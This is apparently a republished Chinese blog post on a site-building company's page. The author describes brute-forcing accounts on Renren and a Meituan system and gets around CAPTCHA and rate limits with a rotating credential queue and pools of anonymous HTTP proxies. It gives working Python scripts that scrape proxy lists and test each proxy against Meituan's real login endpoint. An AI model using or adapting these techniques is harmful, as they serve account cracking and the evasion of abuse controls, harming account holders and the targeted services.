全网整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:400-708-3566

批量获取及验证HTTP代理的Python脚本

1. 在扫号人人网时,我遇到单个账号错误两次,强制要求输入验证码,而对方并未实施IP策略。

我采用维护10万(用户名,密码) 队列的方式来绕过验证码。具体的做法是,当某个用户名、密码组合遇到需要验证码,就把该破解序列挂起,放到队列尾部等待下次测试,继续破解其他账号密码。

这样就可以保证2/3的时间都在进行正常破解和扫号。

2. 在破解美团网某系统账号时,我遇到了单个IP访问有一定限制,请求频率不可过快。于是我挂了72个 HTTP代理来解决这个问题。 看似每个IP的请求都正常,但其实从整个程序上看,效率还是挺可观的。

本篇我发出自己抓HTTP的脚本片段,其实只有几行。匿名代理是从这里抓取的:http://www.xici.net.co/nn/

首先获取代理列表 :

from bs4 import BeautifulSoup
import urllib2


of = open('proxy.txt' , 'w')

for page in range(1, 160):
  html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
  soup = BeautifulSoup(html_doc)
  trs = soup.find('table', id='ip_list').find_all('tr')
  for tr in trs[1:]:
    tds = tr.find_all('td')
    ip = tds[1].text.strip()
    port = tds[2].text.strip()
    protocol = tds[5].text.strip()
    if protocol == 'HTTP' or protocol == 'HTTPS':
      of.write('%s=%s:%s\n' % (protocol, ip, port) )
      print '%s=%s:%s' % (protocol, ip, port)

of.close()

接着验证代理是否可用,因为我是用于破解美团网系统的账号,因此用了美团的页面标记:

#encoding=gbk
import httplib
import time
import urllib
import threading

inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')

lock = threading.Lock()

def test():
  while True:
    lock.acquire()
    line = inFile.readline().strip()
    lock.release()
    if len(line) == 0: break
    protocol, proxy = line.split('=')
    headers = {'Content-Type': 'application/x-www-form-urlencoded',
      'Cookie': ''}
    try:
      conn = httplib.HTTPConnection(proxy, timeout=3.0)
      conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
      res = conn.getresponse()
      ret_headers = str( res.getheaders() ) 
      html_doc = res.read().decode('utf-8')
      print html_doc.encode('gbk')
      if ret_headers.find(u'/m/account/login/') > 0:
        lock.acquire()
        print 'add proxy', proxy
        outFile.write(proxy + '\n')
        lock.release()
      else:
        print '.',
    except Exception, e:
      print e

all_thread = []
for i in range(50):
  t = threading.Thread(target=test)
  all_thread.append(t)
  t.start()
  
for t in all_thread:
  t.join()

inFile.close()
outFile.close()


# 验证 HTTP代理 Python脚本  # Python程序中设置HTTP代理  # Python3.4实现从HTTP代理网站批量获取代理并筛选的方法示例  # Python request设置HTTPS代理代码解析  # 对python使用http、https代理的实例讲解  # Python代码实现http/https代理服务器的脚本  # python爬虫http代理使用方法  # Python异步爬虫requests和aiohttp中代理IP的使用  # python使用aiohttp通过设置代理爬取基金数据简单示例  # 解决python异步框架aiohttp无法使用本地代理问题  # python做http代理请求的项目实践  # 验证码  # 我是  # 都在  # 两次  # 有一定  # 是从  # 用了  # 上看  # 挂了  # 过快  # 解决这个问题  # 就可以  # 挂起  # 把该  # 几行  # 下次  # find  # trs  # table  # find_all 


相关文章: 建站DNS解析失败?如何正确配置域名服务器?  大学网站设计制作软件有哪些,如何将网站制作成自己app?  定制建站方案优化指南:企业官网开发与建站费用解析  如何在局域网内绑定自建网站域名?  建站主机无法访问?如何排查域名与服务器问题  专业网站制作服务公司,有哪些网站可以免费发布招聘信息?  如何在橙子建站上传落地页?操作指南详解  娃派WAP自助建站:免费模板+移动优化,快速打造专业网站  家具网站制作软件,家具厂怎么跑业务?  香港服务器网站测试全流程:性能评估、SEO加载与移动适配优化  如何撰写建站申请书?关键要点有哪些?  视频网站制作教程,怎么样制作优酷网的小视频?  如何通过VPS搭建网站快速盈利?  ui设计制作网站有哪些,手机UI设计网址吗?  如何在VPS电脑上快速搭建网站?  建站之星如何防范黑客攻击与数据泄露?  如何在IIS服务器上快速部署高效网站?  定制建站平台哪家好?企业官网搭建与快速建站方案推荐  建站之星安装路径如何正确选择及配置?  PHP 500报错的快速解决方法  如何制作公司的网站链接,公司想做一个网站,一般需要花多少钱?  建站之星如何快速生成多端适配网站?  深圳防火门网站制作公司,深圳中天明防火门怎么编码?  用v-html解决Vue.js渲染中html标签不被解析的问题  哪家制作企业网站好,开办像阿里巴巴那样的网络公司和网站要怎么做?  如何高效搭建专业期货交易平台网站?  深圳网站制作公司好吗,在深圳找工作哪个网站最好啊?  如何快速建站并高效导出源代码?  如何在西部数码注册域名并快速搭建网站?  如何在IIS中配置站点IP、端口及主机头?  武清网站制作公司,天津武清个人营业执照注销查询系统网站?  如何快速搭建自助建站会员专属系统?  如何用虚拟主机快速搭建网站?详细步骤解析  网站企业制作流程,用什么语言做企业网站比较好?  南京网站制作费用,南京远驱官方网站?  如何在IIS7中新建站点?详细步骤解析  如何用好域名打造高点击率的自主建站?  深圳 网站制作,深圳招聘网站哪个比较好一点啊?  ppt制作免费网站有哪些,ppt模板免费下载网站?  如何在万网ECS上快速搭建专属网站?  建站主机数据库如何配置才能提升网站性能?  建站主机如何安装配置?新手必看操作指南  学校建站服务器如何选型才能满足性能需求?  长沙企业网站制作哪家好,长沙水业集团官方网站?  阿里云网站搭建费用解析:服务器价格与建站成本优化指南  企业微网站怎么做,公司网站和公众号有什么区别?  网站制作说明怎么写,简述网页设计的流程并说明原因?  行程制作网站有哪些,第三方机票电子行程单怎么开?  大同网页,大同瑞慈医院官网?  如何选择适配移动端的WAP自助建站平台? 

您的项目需求

*请认真填写需求信息,我们会在24小时内与您取得联系。